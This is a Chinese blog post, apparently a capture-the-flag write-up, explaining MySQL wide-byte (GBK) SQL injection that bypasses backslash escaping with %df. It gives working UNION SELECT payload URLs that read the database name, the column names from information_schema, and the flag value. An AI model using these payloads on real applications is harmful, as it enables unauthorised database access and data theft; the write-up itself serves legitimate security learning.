mysql之利用宽字节进行注入

原理介绍

这里直接引用天书里面的介绍(有点懒233333
针对\的过滤,我们在此介绍一下宽字节注入的原理和基本用法。

1
2
3
4
5
6
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个ascii码大于128才能到汉字的范围)。
我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ 。
因此我们在此想办法将 ‘ 前面添加的 \ 除掉,思路如下:
%df 吃掉 \ 具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形
成%df%5c%27,而上面提到的 mysql 在GBK 编码方式的时候会将两个字节当做一个汉字,此
事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

Bugku的一道题目

题目地址

  1. 测试发现找不到注入点,查看源代码发现编码方式为gb2312,于是便想到是不是宽字节注入,当提交id=1%df'时出现了报错信息
    1
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1運'' LIMIT 1' at line 1

这说明了确实存在宽字节注入,我们开始构造payload;

  1. 数据库
    1
    http://103.238.227.13:10083/index.php?id=1%df' union select 1,database()--+

1

  1. 表名题目直接给了,所以我们直接查字段名
    1
    http://103.238.227.13:10083/index.php?id=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6b6579--+

1

  1. 字段值
    1
    http://103.238.227.13:10083/index.php?id=-1%df' union select 1,string from sql5.key--+

1

解题过程中遇到的一些坑

1、当payload为

1
http://103.238.227.13:10083/index.php?id=-1%df' union select 2,string from key where id=1--+

发现页面报错了

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'key where id=1-- ' LIMIT 1' at line 1

这里百度了好久都不知道是什么问题,后面找到一位师傅的wp,才发现原来表名和字段名是一样的,然后如果直接从key取数据的话就会出错,这里可以使用反引号来区分表名和字段名,也可以指定sql5.key这种方法来指定表名。
参考链接

------ 本文结束感谢您的阅读 ------
坚持记录生活,您的支持将鼓励我继续创作!